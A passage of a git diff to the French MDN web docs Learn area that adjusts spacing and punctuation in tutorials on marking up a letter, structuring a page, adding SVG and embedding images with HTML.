hyperliens](/fr/docs/Learn/HTML/Introduction_to_HTML/Creating_hyperlinks), qui est peut-être l'élément le plus important sur le Web. +C'est tout pour l'instant ! Cet article doit vous avoir donné une bonne idée de la façon de commencer à baliser le texte en HTML et présenté les éléments les plus importants dans ce domaine. Il existe énormément d'autres éléments sémantiques à connaître dans ce domaine ; nous en verrons beaucoup plus dans notre article « More Semantic Elements », plus loin dans ce cours. Dans le prochain article, nous examinerons en détail comment [créer des hyperliens](/fr/docs/Learn/HTML/Introduction_to_HTML/Creating_hyperlinks), qui est peut-être l'élément le plus important sur le Web. {{PreviousMenuNext("Learn/HTML/Introduction_to_HTML/The_head_metadata_in_HTML", "Learn/HTML/Introduction_to_HTML/Creating_hyperlinks", "Learn/HTML/Introduction_to_HTML")}} diff --git a/files/fr/learn/html/introduction_to_html/marking_up_a_letter/index.md b/files/fr/learn/html/introduction_to_html/marking_up_a_letter/index.md index 9e8ff0d14d..12354630db 100644 --- a/files/fr/learn/html/introduction_to_html/marking_up_a_letter/index.md +++ b/files/fr/learn/html/introduction_to_html/marking_up_a_letter/index.md @@ -14,12 +14,12 @@ original_slug: Apprendre/HTML/Introduction_à_HTML/Marking_up_a_letter --- {{LearnSidebar}}{{PreviousMenuNext("Apprendre/HTML/Introduction_à_HTML/Debugging_HTML", "Apprendre/HTML/Introduction_%C3%A0_HTML/Structuring_a_page_of_content", "Apprendre/HTML/Introduction_à_HTML")}} -Tôt ou tard nous apprenons tous à écrire une lettre ; c'est aussi un exemple utile pour tester nos compétences en matière de mise en forme ! Dans cet exercice, vous devrez opérer le balisage d'une lettre en utilisant les fonctionnalités textes élémentaires et avancées, y compris les hyperliens, et en plus nous testerons vos connaissances avec certains contenus de `<head>` en HTML. +Tôt ou tard nous apprenons tous à écrire une lettre ; c'est aussi un exemple utile pour tester nos compétences en matière de mise en forme ! Dans cet exercice, vous devrez opérer le balisage d'une lettre en utilisant les fonctionnalités textes élémentaires et avancées, y compris les hyperliens, et en plus nous testerons vos connaissances avec certains contenus de `<head>` en HTML. <table class="standard-table"> <tbody> <tr> - <th scope="row">Prérequis :</th> + <th scope="row">Prérequis :</th> <td> Avant de se lancer dans cet exercice, vous devez déja avoir travaillé <a href="/fr/docs/Learn/HTML/Introduction_to_HTML/Getting_started" @@ -41,7 +41,7 @@ Tôt ou tard nous apprenons tous à écrire une lettre ; c'est aussi un exempl </td> </tr> <tr> - <th scope="row">Objectif :</th> + <th scope="row">Objectif :</th> <td> Tester vos connaissances en balisage HTML simple et avancé de texte, d'hyperliens et de ce qu'il convient de mettre dans l'élément @@ -55,30 +55,30 @@ Tôt ou tard nous apprenons tous à écrire une lettre ; c'est aussi un exempl Pour commencer cet exercice, vous devez récupérer le [texte brut que vous allez baliser](https://github.com/mdn/learning-area/blob/master/html/introduction-to-html/marking-up-a-letter-start/letter-text.txt) et les CSS [à inclure](https://github.com/mdn/learning-area/blob/master/html/introduction-to-html/marking-up-a-letter-start/css.txt) dans l'HTML. Créez un nouveau fichier `.html` avec l'éditeur de texte dans lequel vous allez travailler (ou bien utilisez un site comme [JSBin](http://jsbin.com/) ou [Thimble](https://thimble.mozilla.org/) pour faire l'exercice.) -## Projet « lettre » +## Projet « lettre » Pour ce projet, votre tâche consiste à baliser une lettre destinée à être hébergée dans l'intranet d'une université. La lettre est une réponse d'une chercheuse en poste à une doctorante éventuelle à propos de sa candidature pour travailler à l'université. -Sémantique de blocs/structures : +Sémantique de blocs/structures : - Il convient que vous donniez à la totalité du document une structure appropriée comprenant le type de document et les éléments {{htmlelement("html")}}, {{htmlelement("head")}} et {{htmlelement("body")}}. -- La lettre doit être marquée avec une structure de paragraphes et d'en‑têtes, en prenant en considération les points suivants : un en‑tête de haut niveau (la ligne « Re : ») et trois en-têtes de deuxième niveau. +- La lettre doit être marquée avec une structure de paragraphes et d'en‑têtes, en prenant en considération les points suivants : un en‑tête de haut niveau (la ligne « Re : ») et trois en-têtes de deuxième niveau. - Les dates de début des semestres, les sujets d'étude et les danses exotiques seront balisées avec les types de listes appropriés. - Mettez les deux adresses dans l'élement {{htmlelement("address")}}. En plus, chaque ligne des adresses doit être mise sur une nouvelle ligne sans que ce soit un nouveau paragraphe. -Sémantique en ligne : +Sémantique en ligne : -- Les noms de l'expéditeur et du destinataire (et « Tél » et « e‑mail ») doivent être marqués comme étant de grande importance. +- Les noms de l'expéditeur et du destinataire (et « Tél » et « e‑mail ») doivent être marqués comme étant de grande importance. - Les quatre dates du document doivent être indiquées dans des éléments appropriés contenant des dates lisibles par la machine. -- La première adresse et la première date de la lettre doivent recevoir une valeur d'attribut de classe « sender-column » ; le CSS que vous ajouterez plus tard les alignera à droite, comme c'est le cas dans une mise en page de lettre classique. +- La première adresse et la première date de la lettre doivent recevoir une valeur d'attribut de classe « sender-column » ; le CSS que vous ajouterez plus tard les alignera à droite, comme c'est le cas dans une mise en page de lettre classique. - Les cinq acronymes/abréviations dans le corps du texte de la lettre seront marqués pour permettre leur développement. - Les six indices/exposants seront balisés de manière appropriée. -- Les symboles « degré », « plus grand que » , « multiplier » seront marqués avec les références d'entités voulues. +- Les symboles « degré », « plus grand que » , « multiplier » seront marqués avec les références d'entités voulues. - Essayez de marquer au moins deux mots importants en gras/italique. -- Deux emplacements nécessitent un hyperlien ; ajoutez les liens appropriés avec des intitulés. Pour l'emplacement sur lequel le lien pointe, utilisez simplement http\://example.com. +- Deux emplacements nécessitent un hyperlien ; ajoutez les liens appropriés avec des intitulés. Pour l'emplacement sur lequel le lien pointe, utilisez simplement http\://example.com. - La citation et la devise de l'université doivent être marquées avec les éléments appropriés. -Dans l'en‑tête du document : +Dans l'en‑tête du document : - Le jeu de caractères sera précisé comme étant utf-8 avec la balise `meta` appropriée. - L'auteur de la lettre sera indiqué dans une balise `meta` adéquate. @@ -86,8 +86,8 @@ Dans l'en‑tête du document : ## Conseils et astuces -- Utilisez le [validateur HTML W3C](https://validator.w3.org/) pour valider votre HTML ; Vous aurez des points supplémentaires s'il est valide. -- Il n'est pas nécessaire de connaître les CSS pour faire cet exercice ; vous avez juste besoin de le mettre dans un élément HTML. +- Utilisez le [validateur HTML W3C](https://validator.w3.org/) pour valider votre HTML ; Vous aurez des points supplémentaires s'il est valide. +- Il n'est pas nécessaire de connaître les CSS pour faire cet exercice ; vous avez juste besoin de le mettre dans un élément HTML. ## Exemple @@ -97,7 +97,7 @@ La capture d'écran suivante montre ce à quoi la lettre devrait ressembler apr ## Évaluation -Si cette évaluation fait partie d'un cours organisé, vous devez pouvoir donner votre travail à votre professeur/formateur pour notation. Si vous faites de l'auto‑formation vous pouvez obtenir un guide d'auto‑évaluation en le demandant sur le [Learning Area Discourse thread](https://discourse.mozilla-community.org/t/learning-web-development-marking-guides-and-questions/16294) ou sur le canal IRC [#mdn](irc://irc.mozilla.org/mdn) sur [Mozilla IRC](https://wiki.mozilla.org/IRC). Essayez l'exercice d'abord — il n'y a rien à gagner à tricher ! +Si cette évaluation fait partie d'un cours organisé, vous devez pouvoir donner votre travail à votre professeur/formateur pour notation. Si vous faites de l'auto‑formation vous pouvez obtenir un guide d'auto‑évaluation en le demandant sur le [Learning Area Discourse thread](https://discourse.mozilla-community.org/t/learning-web-development-marking-guides-and-questions/16294) ou sur le canal IRC [#mdn](irc://irc.mozilla.org/mdn) sur [Mozilla IRC](https://wiki.mozilla.org/IRC). Essayez l'exercice d'abord — il n'y a rien à gagner à tricher ! {{PreviousMenuNext("Apprendre/HTML/Introduction_to_HTML/Debugging_HTML", "Apprendre/HTML/Introduction_%C3%A0_HTML/Structuring_a_page_of_content", "Apprendre/HTML/Introduction_to_HTML")}} diff --git a/files/fr/learn/html/introduction_to_html/structuring_a_page_of_content/index.md b/files/fr/learn/html/introduction_to_html/structuring_a_page_of_content/index.md index 2f14f32358..88d0da5d1b 100644 --- a/files/fr/learn/html/introduction_to_html/structuring_a_page_of_content/index.md +++ b/files/fr/learn/html/introduction_to_html/structuring_a_page_of_content/index.md @@ -7,7 +7,7 @@ original_slug: Apprendre/HTML/Introduction_à_HTML/Structuring_a_page_of_content {{LearnSidebar}} {{PreviousNext("Apprendre/HTML/Introduction_à_HTML/Marking_up_a_letter", "Apprendre/HTML/Introduction_à_HTML")}} -Il est essentiel de savoir structurer une page de contenu prête à être mise en forme grâce au CSS. Cette évaluation va vous permettre de vous tester sur votre capacité à réfléchir au rendu visuel final d'une page et à choisir la sémantique structurelle appropriée pour construire une bonne mise en page. +Il est essentiel de savoir structurer une page de contenu prête à être mise en forme grâce au CSS. Cette évaluation va vous permettre de vous tester sur votre capacité à réfléchir au rendu visuel final d'une page et à choisir la sémantique structurelle appropriée pour construire une bonne mise en page. <table class="standard-table"> <tbody> @@ -34,13 +34,13 @@ Il est essentiel de savoir structurer une page de contenu prête à être mise e ## Point de départ -Pour commencer cet exercice, vous pouvez télécharger [l'archive contenant les fichiers nécessaires](https://github.com/mdn/learning-area/blob/master/html/introduction-to-html/structuring-a-page-of-content-start/assets.zip?raw=true) à cette évaluation. Elle contient : +Pour commencer cet exercice, vous pouvez télécharger [l'archive contenant les fichiers nécessaires](https://github.com/mdn/learning-area/blob/master/html/introduction-to-html/structuring-a-page-of-content-start/assets.zip?raw=true) à cette évaluation. Elle contient : - le fichier HTML auquel vous allez devoir ajouter le balisage structurel, - le fichier CSS pour styliser la page, - les images utilisées dans la page. -Décompressez l'archive sur votre ordinateur, ou bien utilisez un site web comme [JSBin](http://jsbin.com/) ou [Thimble](https://thimble.mozilla.org/) pour faire votre évaluation. +Décompressez l'archive sur votre ordinateur, ou bien utilisez un site web comme [JSBin](http://jsbin.com/) ou [Thimble](https://thimble.mozilla.org/) pour faire votre évaluation. ## Aperçu du projet @@ -50,7 +50,7 @@ Dans ce projet, l'objectif est d'ajouter des éléments structurels au contenu d - une zone de contenu principal de deux colonnes : un bloc principal avec le texte de bienvenue et une barre latérale avec des vignettes d'images, - un pied de page avec les informations de droits d'auteur et les crédits. -Vous devez ajouter les enveloppes appropriées pour : +Vous devez ajouter les enveloppes appropriées pour : - l'en-tête - le menu de navigation @@ -65,8 +65,8 @@ Vous devez aussi ## **Conseils et astuces** -- Utilisez le « [W3C HTML validator »](https://validator.w3.org/) pour valider votre HTML ; vous aurez des points bonus si la validation s'opère autant que possible (la ligne « googleapis » est une ligne utilisée pour importer des polices personnalisées dans la page à partir du service « Google Fonts » ; elle ne sera pas validée, donc ne vous en inquiétez pas). -- Il n'est pas nécessaire de connaître quoi que ce soit des CSS pour faire cet exercice ; vous avez juste besoin de placer les CSS fournies dans l'élément HTML. +- Utilisez le « [W3C HTML validator »](https://validator.w3.org/) pour valider votre HTML ; vous aurez des points bonus si la validation s'opère autant que possible (la ligne « googleapis » est une ligne utilisée pour importer des polices personnalisées dans la page à partir du service « Google Fonts » ; elle ne sera pas validée, donc ne vous en inquiétez pas). +- Il n'est pas nécessaire de connaître quoi que ce soit des CSS pour faire cet exercice ; vous avez juste besoin de placer les CSS fournies dans l'élément HTML. - Les CSS jointes sont conçues de telle sorte que les éléments structuraux adéquats ont été ajoutés dans le balisage, ils apparaîtront en vert dans le rendu de la page. - Si vous êtes bloqué et ne voyez pas où mettre tel élément, cela peut vous aider de tracer un diagramme des blocs de disposition de la page et d'écrire sur chaque élément ce qui, à votre avis devrait envelopper chaque bloc. @@ -78,7 +78,7 @@ La capture d'écran suivante montre un exemple de ce à quoi la page d'accueil p ## Évaluation -Si cette évaluation fait partie d'un cours organisé, vous devez pouvoir donner votre travail à votre professeur/formateur pour notation. Si vous faites de l'auto‑formation vous pouvez obtenir un guide d'auto‑évaluation en le demandant sur le [Learning Area Discourse thread](https://discourse.mozilla-community.org/t/learning-web-development-marking-guides-and-questions/16294) ou sur le canal IRC [#mdn](irc://irc.mozilla.org/mdn) sur [Mozilla IRC](https://wiki.mozilla.org/IRC). Essayez l'exercice d'abord — il n'y a rien à gagner à tricher ! +Si cette évaluation fait partie d'un cours organisé, vous devez pouvoir donner votre travail à votre professeur/formateur pour notation. Si vous faites de l'auto‑formation vous pouvez obtenir un guide d'auto‑évaluation en le demandant sur le [Learning Area Discourse thread](https://discourse.mozilla-community.org/t/learning-web-development-marking-guides-and-questions/16294) ou sur le canal IRC [#mdn](irc://irc.mozilla.org/mdn) sur [Mozilla IRC](https://wiki.mozilla.org/IRC). Essayez l'exercice d'abord — il n'y a rien à gagner à tricher ! {{PreviousMenu("Apprendre/HTML/Introduction_à_HTML/Marking_up_a_letter", "Apprendre/HTML/Introduction_à_HTML")}} diff --git a/files/fr/learn/html/multimedia_and_embedding/adding_vector_graphics_to_the_web/index.md b/files/fr/learn/html/multimedia_and_embedding/adding_vector_graphics_to_the_web/index.md index be749e12b5..97792b9300 100644 --- a/files/fr/learn/html/multimedia_and_embedding/adding_vector_graphics_to_the_web/index.md +++ b/files/fr/learn/html/multimedia_and_embedding/adding_vector_graphics_to_the_web/index.md @@ -19,7 +19,7 @@ Les graphiques vectoriels sont les images adaptatives par excellence : légères <table class="standard-table"> <tbody> <tr> - <th scope="row">Prérequis :</th> + <th scope="row">Prérequis :</th> <td> Vous devriez au préalable savoir comment <a href="/fr/Apprendre/HTML/Write_a_simple_page_in_HTML" @@ -32,7 +32,7 @@ Les graphiques vectoriels sont les images adaptatives par excellence : légères </td> </tr> <tr> - <th scope="row">Objectifs :</th> + <th scope="row">Objectifs :</th> <td>Apprendre comment intégrer une image SVG dans une page web.</td> </tr> </tbody> @@ -52,7 +52,7 @@ Il est possible de coder le SVG à la main grâce à un éditeur de texte. En re > **Note :** Sous Inkscape, préférez le format « SVG simple » pour sauvegarder vos fichiers, cela permet d'économiser de l'espace. Pour plus d'informations sur la préparation, lire [cet article qui décrit comment préparer des fichiers SVG pour les utiliser sur le Web](http://tavmjong.free.fr/INKSCAPE/MANUAL/html/Web-Inkscape.html). -## La méthode rapide : {{htmlelement("img")}} +## La méthode rapide : {{htmlelement("img")}} Vous pouvez simplement faire référence à un fichier SVG au sein de l'élément {{htmlelement("img")}}, comme vous l'auriez fait avec une image matricielle. Il faudra utiliser l'attribut `height` ou `width` (voire les deux si le fichier SVG ne possède pas de ratio inhérent). Si ce n'est pas déjà fait, vous pouvez [lire ce tutoriel sur `<img>`](/fr/Apprendre/HTML/Comment/Ajouter_des_images_à_une_page_web). @@ -66,7 +66,7 @@ Vous pouvez simplement faire référence à un fichier SVG au sein de l'élémen ### Avantages -- Rapide à mettre en œuvre, syntaxe très proche avec les images matricielles, texte alternatif disponible. +- Rapide à mettre en œuvre, syntaxe très proche avec les images matricielles, texte alternatif disponible. - Il est également possible de créer des hyperliens en plaçant l'élément `<img>` dans un élément {{htmlelement("a")}}. ### Inconvénients diff --git a/files/fr/learn/html/multimedia_and_embedding/images_in_html/index.md b/files/fr/learn/html/multimedia_and_embedding/images_in_html/index.md index ab1dce1e31..a7beceb5d4 100644 --- a/files/fr/learn/html/multimedia_and_embedding/images_in_html/index.md +++ b/files/fr/learn/html/multimedia_and_embedding/images_in_html/index.md @@ -17,7 +17,7 @@ original_slug: Apprendre/HTML/Multimedia_and_embedding/Images_in_HTML --- {{LearnSidebar}}{{NextMenu("Learn/HTML/Multimedia_and_embedding/Video_and_audio_content", "Learn/HTML/Multimedia_and_embedding")}} -Au début, le Web n'était que du texte, ce qui était un peu ennuyeux. Heureusement, il n'a pas fallu longtemps pour que la possibilité d'intégrer des images ( et d'autres types de contenu intéressants) dans une page web soit ajoutée. Bien qu'il y ait plusieurs types de contenu multimedia, il est logique de commencer avec l'humble élément {{htmlelement("img")}}, utilisé pour intégrer une image dans une page web. Dans cet article, nous approfondirons son utilisation en abordant les principes fondamentaux, l'annotation par légendes utilisant {{htmlelement("figure")}}, et en analysant sa relation avec les images d'arrière-plan du {{glossary("CSS")}} . +Au début, le Web n'était que du texte, ce qui était un peu ennuyeux. Heureusement, il n'a pas fallu longtemps pour que la possibilité d'intégrer des images ( et d'autres types de contenu intéressants) dans une page web soit ajoutée. Bien qu'il y ait plusieurs types de contenu multimedia, il est logique de commencer avec l'humble élément {{htmlelement("img")}}, utilisé pour intégrer une image dans une page web. Dans cet article, nous approfondirons son utilisation en abordant les principes fondamentaux, l'annotation par légendes utilisant {{htmlelement("figure")}}, et en analysant sa relation avec les images d'arrière-plan du {{glossary("CSS")}} . <table class="standard-table"> <tbody> @@ -28,10 +28,10 @@ Au début, le Web n'était que du texte, ce qui était un peu ennuyeux. Heureuse <a href="/fr/Apprendre/Commencer_avec_le_web/Installation_outils_de_base" >installation des outils de base</a - >, bases de la + >, bases de la <a href="/fr/Apprendre/Commencer_avec_le_web/G%C3%A9rer_les_fichiers" >manipulation des fichiers</a - >, fondamentaux du HTML (comme décrit dans <a + >, fondamentaux du HTML (comme décrit dans <a href="/fr/Apprendre/HTML/Introduction_%C3%A0_HTML/Getting_started" >Commencer avec le Web).</a > @@ -50,9 +50,9 @@ Au début, le Web n'était que du texte, ce qui était un peu ennuyeux. Heureuse ## Comment intégrer une image à une page web ? -Pour mettre une image simple sur une page web, nous utiliserons l'élément {{htmlelement("img")}}. C'est un {{glossary("empty element","élément vide")}} (ce qui signifie qu'il ne contient ni texte ni balise de fermeture) qui demande au moins un attribut pour fonctionner — `src` (souvent appelé par son nom entier: *source*). L'attribut `src` contient un chemin pointant vers l'image que vous voulez intégrer, qui peut être une URL absolue ou relative, de la même manière que l'élément {{htmlelement("a")}} `href=` attribue des valeurs. +Pour mettre une image simple sur une page web, nous utiliserons l'élément {{htmlelement("img")}}. C'est un {{glossary("empty element","élément vide")}} (ce qui signifie qu'il ne contient ni texte ni balise de fermeture) qui demande au moins un attribut pour fonctionner — `src` (souvent appelé par son nom entier: *source*). L'attribut `src` contient un chemin pointant vers l'image que vous voulez intégrer, qui peut être une URL absolue ou relative, de la même manière que l'élément {{htmlelement("a")}} `href=` attribue des valeurs. -> **Note :** Vous devriez lire [Une brève présentation des URL et des chemins](/fr/Apprendre/HTML/Introduction_%C3%A0_HTML/Creating_hyperlinks#url) pour vous rafraîchir la mémoire avant de continuer. +> **Note :** Vous devriez lire [Une brève présentation des URL et des chemins](/fr/Apprendre/HTML/Introduction_%C3%A0_HTML/Creating_hyperlinks#url) pour vous rafraîchir la mémoire avant de continuer. Donc, par exemple, si votre image s'appelle `dinosaur.jpg`, et qu'elle est située dans le même répertoire que votre page HTML, vous pouvez intégrer cette image comme ceci (URL relative) : @@ -60,7 +60,7 @@ Donc, par exemple, si votre image s'appelle `dinosaur.jpg`, et qu'elle est situ <img src="dinosaur.jpg"> ``` -Et si cette image se trouve dans un sous-répertoire `images` situé dans le même dossier que la page HTML (ce que Google recommande pour {{glossary("SEO")}}/dans un but d'indexation et d'optimisation de la recherche), alors vous l'intégrerez comme ceci : +Et si cette image se trouve dans un sous-répertoire `images` situé dans le même dossier que la page HTML (ce que Google recommande pour {{glossary("SEO")}}/dans un but d'indexation et d'optimisation de la recherche), alors vous l'intégrerez comme ceci : ```html <img src="images/dinosaur.jpg"> @@ -68,7 +68,7 @@ Et si cette image se trouve dans un sous-répertoire `images` situé dans le m Ainsi de suite. -> **Note :** Les moteurs de recherche lisent aussi les noms de fichiers image et s'en servent pour optimiser la recherche. Donc, donnez à vos images des noms de fichiers descritifs et qui ont du sens. `dinosaur.jpg` est infiniment mieux que `img835.png`. +> **Note :** Les moteurs de recherche lisent aussi les noms de fichiers image et s'en servent pour optimiser la recherche. Donc, donnez à vos images des noms de fichiers descritifs et qui ont du sens. `dinosaur.jpg` est infiniment mieux que `img835.png`. Vous pouvez intégrer l'image en utilisant son URL absolue, par exemple : @@ -84,7 +84,7 @@ Ce n'est pas trés efficace, cela fait travailler le navigateur plus qu'il ne de > 2\) vous ayez reçu une permission explicite et écrite du propriètaire de l'image ou, > 3\) que vous ayez une preuve indiscutable que cette image appartient au domaine public. > -> Les violations des lois sur les droits d'auteur sont non seulement illégales mais aussi non-éthiques. De plus, ne faites jamais pointer votre attribut `src` vers une image hébergée sur le site de quelqu'un d'autre sans en avoir l'autorisation. Cela s'appelle du "hotlinking". Souvenez-vous que voler de la bande passante à quelqu'un est aussi illégal. Cela ralentit aussi votre page et vous laisse sans contrôle si l'image est enlevée ou remplacée par une autre plus gênante... +> Les violations des lois sur les droits d'auteur sont non seulement illégales mais aussi non-éthiques. De plus, ne faites jamais pointer votre attribut `src` vers une image hébergée sur le site de quelqu'un d'autre sans en avoir l'autorisation. Cela s'appelle du "hotlinking". Souvenez-vous que voler de la bande passante à quelqu'un est aussi illégal. Cela ralentit aussi votre page et vous laisse sans contrôle si l'image est enlevée ou remplacée par une autre plus gênante... Le code au-dessus vous donnera, à peu prés, le résultat suivant : @@ -92,7 +92,7 @@ Le code au-dessus vous donnera, à peu prés, le résultat suivant : > **Note :** Les éléments comme {{htmlelement("img")}} et {{htmlelement("video")}} sont souvent désignés comme des éléments "remplacés". C'est parce que le contenu et la taille de ces éléments sont définies par une ressource externe (comme un fichier image ou video), pas par le contenu de l'élément lui-même. -> **Note :** Vous trouverez les exemples finis de cette section sur [Github](https://mdn.github.io/learning-area/html/multimedia-and-embedding/images-in-html/index.html) (regardez aussi le [code source](https://github.com/mdn/learning-area/blob/master/html/multimedia-and-embedding/images-in-html/index.html).) +> **Note :** Vous trouverez les exemples finis de cette section sur [Github](https://mdn.github.io/learning-area/html/multimedia-and-embedding/images-in-html/index.html) (regardez aussi le [code source](https://github.com/mdn/learning-area/blob/master/html/multimedia-and-embedding/images-in-html/index.html).) ### Texte alternatif @@ -110,7 +110,7 @@ La manière la plus simple de tester votre texte `alt` est de mal épeler votre Pourquoi vous verrez partout du texte alt ? Vous en aurez besoin car c'est très pratique en maintes occasions : -- L'utilisateur est un déficient visuel qui utilise un [lecteur d'écran](https://fr.wikipedia.org/wiki/Lecteur_d%27%C3%A9cran) qui s'en sert pour "lire" le web. En fait, avoir du texte alt disponible pour décrire les images est très utile à beaucoup d'utilisateurs. +- L'utilisateur est un déficient visuel qui utilise un [lecteur d'écran](https://fr.wikipedia.org/wiki/Lecteur_d%27%C3%A9cran) qui s'en sert pour "lire" le web. En fait, avoir du texte alt disponible pour décrire les images est très utile à beaucoup d'utilisateurs. - Comme nous l'avons vu au-dessus, vous pourriez avoir mal épelé le nom ou le chemin du fichier. - Le navigateur ne gère pas ce type d'image. Certains utilisent encore des navigateurs en terminal, affichant seulement du texte (comme [Lynx)](<https://fr.wikipedia.org/wiki/Lynx_(navigateur)>), qui affichent le texte alt des images. - Vous pouvez avoir envie de fournir du texte que pourraient utiliser les moteurs de recherche. Par exemple, ils mettront en relation le texte alt avec des requêtes de recherche. @@ -121,15 +121,15 @@ Que devriez-vous noter dans vos attributs `alt` ? En premier lieu, cela dépend - **Decoration.** Vous devriez utiliser {{anch("CSS background images")}} pour les images décoratives mais si vous devez utiliser du HTML, ajoutez un `alt=""` vide. Si l'image ne fait pas vraiment partie du contenu, un lecteur d'écran ne perdra pas de temps à la lire. - **Contenu.** Si votre image fournit une ou plusieurs informations supplémentaires significatives, inscrivez ces mêmes informations dans un *bref* `alt` text – ou mieux, dans le texte principal, que tout le monde puisse les voir. N'écrivez pas de `alt` text redondants. Imaginez combien ce serait ennuyeux pour un lecteur si tous les paragraphes étaient écrits en double... Si l'image est décrite de manière adéquate dans le corps de texte principal, vous pouvez utiliser simplement `alt=""`. - **Lien.** Si vous mettez une image à l'intérieur d'une ancre {{htmlelement("a")}} pour transformer une image en lien, vous devez quand même fournir un [Lien texte accessible](/fr/Apprendre/HTML/Introduction_%C3%A0_HTML/Creating_hyperlinks#bplien). Dans de tels cas, vous pouvez, soit l'inclure dans le même élément `<a>`, soit dans l'attribut `alt` de l'image – utilisez ce qui marche le mieux dans votre cas. -- **Texte.** Vous ne devez pas mettre de texte dans les images. Si votre titre principal a besoin d'un peu d'ombrage par exemple, [utilisez CSS](/fr/docs/Web/CSS/text-shadow) pour ça, plutôt que de mettre du texte dans une image. De toutes manières, si vous ne pouvez pas éviter de faire ça, vous devez ajouter le texte dans l'attribut `alt` . +- **Texte.** Vous ne devez pas mettre de texte dans les images. Si votre titre principal a besoin d'un peu d'ombrage par exemple, [utilisez CSS](/fr/docs/Web/CSS/text-shadow) pour ça, plutôt que de mettre du texte dans une image. De toutes manières, si vous ne pouvez pas éviter de faire ça, vous devez ajouter le texte dans l'attribut `alt` . Le but est de livrer essentiellement une expérience de qualité, même quand les images ne peuvent être vues. Cela assure à tous les utilisateurs de ne rien manquer du contenu. Essayez de ne pas afficher les images dans votre navigateur et regardez ce qu'il se passe. Vous allez vite réaliser que le texte fourni à la place est réellement utile. -> **Note :** Pour plus d'informations, voyez notre guide [Textes Alternatifs](/fr/docs/Learn/Accessibility/HTML#Text_alternatives) +> **Note :** Pour plus d'informations, voyez notre guide [Textes Alternatifs](/fr/docs/Learn/Accessibility/HTML#Text_alternatives) ### Largeur et hauteur (width-height) -Vous pouvez vous servir des attributs `width` et `height` pour spécifier la largeur et la hauteur de votre image. Vous pouvez trouver la largeur et la hauteur de différentes manières. Sur Mac, par exemple, vous pouvez utiliser <kbd>Cmd</kbd> + <kbd>I</kbd> pour afficher l'info relative au fichier image. Pour revenir à notre exemple, nous pourrions faire ceci : +Vous pouvez vous servir des attributs `width` et `height` pour spécifier la largeur et la hauteur de votre image. Vous pouvez trouver la largeur et la hauteur de différentes manières. Sur Mac, par exemple, vous pouvez utiliser <kbd>Cmd</kbd> + <kbd>I</kbd> pour afficher l'info relative au fichier image. Pour revenir à notre exemple, nous pourrions faire ceci : ```html <img src="images/dinosaur.jpg" @@ -145,13 +145,13 @@ Cela ne fait pas grande différence à l'affichage dans des circonstances normal C'est une bonne pratique, cela donne une page se chargeant plus rapidement et en douceur. -De toutes manières, vous ne devez pas altérer la taille de vos images avec les attributs HTML . Si vous réglez la taille de l'image trop grande, vous aurez un résultat avec beaucoup de "grain", flou ou trop petit et vous dépensez de la bande passante en téléchargeant une image qui ne convient pas aux besoins de l'utilisateur. Votre image peut aussi sortir distordue, si vous n'en maintenez pas le bon [Format d'image](https://fr.wikipedia.org/wiki/Format_d%27image). Vous devriez utiliser un éditeur d'images pour la mettre à la bonne taille avant de la mettre dans votre page web. +De toutes manières, vous ne devez pas altérer la taille de vos images avec les attributs HTML . Si vous réglez la taille de l'image trop grande, vous aurez un résultat avec beaucoup de "grain", flou ou trop petit et vous dépensez de la bande passante en téléchargeant une image qui ne convient pas aux besoins de l'utilisateur. Votre image peut aussi sortir distordue, si vous n'en maintenez pas le bon [Format d'image](https://fr.wikipedia.org/wiki/Format_d%27image). Vous devriez utiliser un éditeur d'images pour la mettre à la bonne taille avant de la mettre dans votre page web. -> **Note :** Si vous devez absolument modifier une taille d' image, vous devriez vous servir de [CSS](/fr/Apprendre/CSS) . +> **Note :** Si vous devez absolument modifier une taille d' image, vous devriez vous servir de [CSS](/fr/Apprendre/CSS) . ### Titre d'images -Comme décrit dans le chapitre [Création d'hyperliens](/fr/Apprendre/HTML/Introduction_%C3%A0_HTML/Creating_hyperlinks), vous pouvez aussi ajouter un attribut `title` aux images, pour fournir un supplément d'information si nécessaire. Dans notre exemple, nous pourrions faire ceci : +Comme décrit dans le chapitre [Création d'hyperliens](/fr/Apprendre/HTML/Introduction_%C3%A0_HTML/Creating_hyperlinks), vous pouvez aussi ajouter un attribut `title` aux images, pour fournir un supplément d'information si nécessaire. Dans notre exemple, nous pourrions faire ceci : ```html <img src="images/dinosaur.jpg" @@ -178,11 +178,11 @@ Nous avons dit plus tôt de ne jamais faire de "hotlinking" sur d'autres serveur Nous avons encore quelques petites choses pour vous : -- Ajoutez du texte `alt` , et vérifiez qu'il marche en faisant une faute dans l'URL de l'image. -- Réglez l'image à une bonne taille : `width` et `height` ( conseil : c'est 200px wide (large) and 171px high (haut)), puis expérimentez d'autres valeurs pour en appréhender les effets. -- Mettez un `title` sur l'image. +- Ajoutez du texte `alt` , et vérifiez qu'il marche en faisant une faute dans l'URL de l'image. +- Réglez l'image à une bonne taille : `width` et `height` ( conseil : c'est 200px wide (large) and 171px high (haut)), puis expérimentez d'autres valeurs pour en appréhender les effets. +- Mettez un `title` sur l'image. -Si vous faites une erreur, vous pouvez toujours remettre à zéro en utilisant le bouton _Reset_ . Si vous êtes vraiment bloqué, regardez la réponse en cliquant le bouton S*how solution* : +Si vous faites une erreur, vous pouvez toujours remettre à zéro en utilisant le bouton _Reset_ . Si vous êtes vraiment bloqué, regardez la réponse en cliquant le bouton S*how solution* : ```html hidden <h2>Live output</h2> @@ -323,7 +323,7 @@ En parlant de légendes, il y a de nombreuses manières d'en ajouter qui ira ave </div> ``` -C'est bon. Ça contient ce que vous voulez et c'est aisément stylisable en CSS. Mais il y a un problème : il n'y a rien de sensé qui relie l'image à sa légende. Ce qui peut poser des problèmes à un lecteur d'écran. Par exemple, quand vous avez 50 images, quelle légende va avec quelle image ? +C'est bon. Ça contient ce que vous voulez et c'est aisément stylisable en CSS. Mais il y a un problème : il n'y a rien de sensé qui relie l'image à sa légende. Ce qui peut poser des problèmes à un lecteur d'écran. Par exemple, quand vous avez 50 images, quelle légende va avec quelle image ? Une meilleure solution consiste en l'utilisation des éléments HTML5 {{htmlelement("figure")}} et {{htmlelement("figcaption")}} . Ils ont été conçus pour cela : fournir un conteneur sémantique aux objets et lier clairement cet objet à sa légende. Notre exemple précédent pourrait être réécrit comme ceci : @@ -337,9 +337,9 @@ Une meilleure solution consiste en l'utilisation des éléments HTML5 {{htmlelem <figcaption>A T-Rex on display in the Manchester University Museum.</figcaption> </figure> -L'élément {{htmlelement("figcaption")}} dit au navigateur et aux technologies d'assistance que la légende décrit le contenu de l'autre élément {{htmlelement("figure")}}. +L'élément {{htmlelement("figcaption")}} dit au navigateur et aux technologies d'assistance que la légende décrit le contenu de l'autre élément 